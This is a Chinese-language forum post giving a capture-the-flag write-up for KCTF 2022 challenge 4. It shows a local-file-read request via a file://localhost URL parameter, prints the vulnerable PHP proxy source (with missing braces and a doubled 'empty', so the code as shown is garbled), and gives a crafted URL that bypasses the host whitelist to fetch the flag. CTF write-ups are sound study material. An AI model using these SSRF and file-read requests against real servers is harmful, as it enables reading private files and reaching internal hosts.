首页
社区
课程
招聘
[原创] KCTF 第四题 飞蛾扑火
2022-5-17 10:49 3502

[原创] KCTF 第四题 飞蛾扑火

2022-5-17 10:49
3502

第一步:

下意识查了一下图片,防止藏东西,存在隐写。经过查证图片格式正常,无明显隐写迹象。F12后发现phpinfo.php。

第二步:

发现doku中间件,进行上传文件进行尝试。后主办方更改IP,禁用该中间件。思路回归phpinfo.php

第三步:

通过phpinfo发现存在利用file://localhost 来读取本地文件的问题。但是flag设计了过滤,首先通过postman获取源码。
Get请求:
http://121.36.145.157:8044/url.php?url=file://localhost/var/www/html/url.php
源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php 
function curl_request($url, $data=null, $method='get', $header = array("content-type: application/json"), $https=true, $timeout = 5){ 
    $method = strtoupper($method); 
    $ch = curl_init();//初始化 
    curl_setopt($ch, CURLOPT_URL, $url);//访问的URL 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);//只获取页面内容,但不输出 
    if($https){ 
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);//https请求 不验证证书 
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);//https请求 不验证HOST 
    
    if ($method != "GET") { 
        if($method == 'POST'){ 
            curl_setopt($ch, CURLOPT_POST, true);//请求方式为post请求 
        
        if ($method == 'PUT' || strtoupper($method) == 'DELETE') { 
            curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method); //设置请求方式 
        
        curl_setopt($ch, CURLOPT_POSTFIELDS, $data);//请求数据 
    
    curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); 
    curl_setopt($ch, CURLOPT_HTTPHEADER, $header); //模拟的header头 
    //curl_setopt($ch, CURLOPT_HEADER, false);//设置不需要头信息 
    $result = curl_exec($ch);//执行请求 
    curl_close($ch);//关闭curl,释放资源 
    return $result; 
 
$url=$_GET["url"]; 
$uu=parse_url($url); 
$host=isset($uu["host"])?$uu["host"]:""; 
$scheme=isset($uu["scheme"])?$uu["scheme"]:""; 
if(emptyempty($host)){ 
    die("host is null"); 
if(emptyempty($scheme)){ 
    die("scheme is null"); 
 
//https://ctf.pediy.com/upload/team/762/team236762.png? 
if($host=="ctf.pediy.com"||$host=="127.0.0.1"||$host=="localhost"){ 
//echo curl_request("http://123.57.254.42/flag.php","get",[],true,5);//get flag 
  echo curl_request($url,'',"get",[],true,5); 
 
}else
die("host not allow"); 
 
 
?>

第四步:

根据源代码进行绕过设计URL如下
http://121.36.145.157:8044/url.php?url=123.57.254.42://127.0.0.1/../flag.php

 

获取Flag:flag{xxx_999()xx*@eeEEE}


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回